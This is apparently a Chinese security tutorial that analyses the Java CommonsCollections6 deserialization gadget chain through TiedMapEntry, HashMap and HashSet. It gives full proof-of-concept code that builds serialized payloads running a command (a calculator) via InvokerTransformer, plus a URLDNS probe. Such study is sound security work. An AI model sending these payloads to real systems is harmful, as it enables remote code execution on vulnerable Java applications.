0x00 背景 在前面关于CommonsCollections1链的两篇文章中,都提到了该链的利用是需要JDK版本小于8u71,这一限制会降低此链在实战中的利用率。
有一条常用链不受JDK版本的限制,即CommonsCollections6链(后续简称CC6链),CC6与CC1相比,Kick-off入口类发生了变化,还增加了一个TiedMapEntry
中间Gadget链,后续的LazyMap
中间Gadget链和Sink依旧没变,对于部分重复的内容,在本文将不再赘述,如果对此不够了解,建议从前两篇文章开始看起。
0x01 影响范围 虽然CC6链不像CC1那样会受到JDK版本的约束,但对于Commons Collections的版本也是要求在3.0以上、3.2.2以下,即大于等于3.1且小于等于3.2.1。
0x02 上文回顾 上一篇《Java反序列化漏洞之LazyMap版CC1链》 文章中,有对LazyMap
中间Gadget链做详细分析,通过向LazyMap#decorate
方法传入一个恶意的ChainedTransformer
对象作为恶意的factory
,然后调用LayzMap#get
方法,便会触发恶意行为。而LayzMap#get
方法的触发是则是通过动态代理调用AnnotationInvocationHandler.invoke
方法。
在CC6链中,就没有用到动态代理的技术去调用AnnotationInvocationHandler.invoke
方法以触发LayzMap#get
方法,而是通过TiedMapEntry#hashCode
方法做到的。
0x03 TiedMapEntry#hashCode org.apache.commons.collections.keyvalue.TiedMapEntry
也是Apache Commons Collections库中的一个类,它用于表示键值对的条目,TiedMapEntry
类实现了表示映射条目的Map.Entry
、表示键值对的KeyValue
和用于序列化的Serializable
接口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public class TiedMapEntry implements Map .Entry, KeyValue, Serializable { private static final long serialVersionUID = -8453869361373831205L ; private final Map map; private final Object key; public TiedMapEntry (Map map, Object key) { super (); this .map = map; this .key = key; } public Object getKey () { return key; } public Object getValue () { return map.get(key); } public int hashCode () { Object value = getValue(); return (getKey() == null ? 0 : getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); } }
TiedMapEntry
类中的hashCode
方法将条目的键和值的哈希码进行异或运算,以计算条目的哈希码。在hashCode
方法中有对getValue
方法进行调用,而getValue
中又存在map.get
调用,这样便能够触发LayzMap#get
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class TiedMapEntryTest { public static void main (String[] args) { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"open -a Calculator" }) }; Transformer tcChain = new ChainedTransformer (transformers); Map lazyMap = LazyMap.decorate(new HashMap (), tcChain); TiedMapEntry tme = new TiedMapEntry (lazyMap, "k" ); tme.hashCode(); } }
0x04 HashMap java.util.HashMap
类在之前的URLDNS链中就已用到过,这里将其及其相关方法再一次贴出来。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public class HashMap <K,V> extends AbstractMap <K,V> implements Map <K,V>, Cloneable, Serializable { static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } public V put (K key, V value) { return putVal(hash(key), key, value, false , true ); } static final int hash (Object key) { int h; return (key == null ) ? 0 : (h = key.hashCode()) ^ (h >>> 16 ); } private void readObject (java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject(); if (mappings < 0 ) throw new InvalidObjectException ("Illegal mappings count: " + mappings); else if (mappings > 0 ) { for (int i = 0 ; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false , false ); } } } }
只要你稍微回忆下URLDNS链,一种似曾相识的感觉或许就会涌现你心头。其实不光是HashMap
类,上面TiedMapEntry#hashCode
方法的出现,也应该能够联系到URLDNS链,URLDNS链中的Sink就是调用的hashCode
方法。
这里,也将URLDNS完整调用链和POC再次贴出来,若对URLDNS链不熟悉,请先回头看《Java反序列化漏洞#0x03 URLDNS链分析》 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class URLDNS { public static void main (String[] args) throws Exception { URL url = new URL ("http://urldns.1asj4bef1af.ipv6.bypass.eu.org" ); Class c = Class.forName("java.net.URL" ); Field f = c.getDeclaredField("hashCode" ); f.setAccessible(true ); f.set(url, 1 ); HashMap<URL, Integer> hashMap = new HashMap <>(); hashMap.put(url, 0 ); f.set(url, -1 ); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("urldns.ser" )); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("urldns.ser" )); ois.readObject(); } }
在此前的URLDNS链中,我们首先对url
对象的成员变量hashCode
修改成了非-1,以防在序列化时触发DNS查询,造成误报,然后再调用put
方法,最后才会将hashCode
改回-1,以在反序列化时触发DNS查询。
同理,在CC链中也需要这样的操作,由于此处涉及的是Transformer
对象,那我们就可以先传入一个空ChainedTransformer
至lazyMap
,然后创建TiedMapEntry
对象并传入这个lazyMap
和一个key,再创建HashMap
对象并调用put
新增TiedMapEntry
对象和一个value,最后利用反射将真正恶意的Transformer数组传入ChainedTransformer
中。
最后的最后,还需对传入lazyMap
中的键进行移除,以通过LazyMap#get
方法中的if判断。
1 2 3 4 5 6 7 8 9 10 11 12 public class LazyMap extends AbstractMapDecorator implements Map , Serializable { public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
这样,在反序列化时便能够顺利地触发到LazyMap#get
方法,并触发其中的transform
方法调用。
综上,最终构造如下POC。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6WithHashMap { public static void main (String[] args) throws Exception { Transformer[] evilTransformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Transformer emptyTransformers = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), emptyTransformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "k" ); Map hashMap = new HashMap (); hashMap.put(entry, "v" ); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(emptyTransformers, evilTransformers); lazyMap.remove("k" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CC6WithHashMap.ser" )); outputStream.writeObject(hashMap); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CC6WithHashMap.ser" )); inputStream.readObject(); } }
0x05 HashSet 在CC6链中,除了java.util.HashMap
类可作为Kick-off外,java.util.HashSet
类也同样可以,只是稍显繁琐,Ysoserial工具中的CC6链用到的就是这种方式。
HashSet
是Java标准库中的一个类,具有快速添加、删除和查找等操作功能,并且实现了Set
和Serializable
等接口。HashSet
内部实际上是通过一个HashMap
实例来存储元素的,HashSet
中的元素被存储为HashMap
中的键,而对应的值则是一个固定的Object
对象。在HashSet
中,元素相当于是HashMap
的键,而值则是一个占位符对象(即PRESENT
常量),所以实际上HashSet
只是一个对HashMap
的包装,它通过键的唯一性来保证集合中不包含重复元素。
在HashSet
中重写的readObject
方法中,有对HashMap
中的put
方法进行调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public class HashSet <E> extends AbstractSet <E> implements Set <E>, Cloneable, java.io.Serializable { static final long serialVersionUID = -5024744406713321676L ; private transient HashMap<E,Object> map; private static final Object PRESENT = new Object (); private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); map = (((HashSet<?>)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } } }
所以以HashSet
作为Kick-off,构造完整链的方式相比直接用HashMap
,没有发生多大的变化,无非再多套一层HashSet
,那么据此直接构造如下POC了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CC6WithHashSet { public static void main (String[] args) throws Exception { Transformer[] evilTransformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class}, new Object [] {null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class [] {String.class}, new Object [] {"open -a Calculator" }) }; Transformer emptyTransformers = new ChainedTransformer (new Transformer []{}); Map lazyMap = LazyMap.decorate(new HashMap (), emptyTransformers); TiedMapEntry entry = new TiedMapEntry (lazyMap, "k" ); Map hashMap = new HashMap (); hashMap.put(entry, "v" ); HashSet hashSet = new HashSet (hashMap.keySet()); Field f = ChainedTransformer.class.getDeclaredField("iTransformers" ); f.setAccessible(true ); f.set(emptyTransformers, evilTransformers); lazyMap.remove("k" ); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream ("CC6WithHashSet.ser" )); outputStream.writeObject(hashSet); outputStream.close(); ObjectInputStream inputStream = new ObjectInputStream (new FileInputStream ("CC6WithHashSet.ser" )); inputStream.readObject(); } }
0x06 参考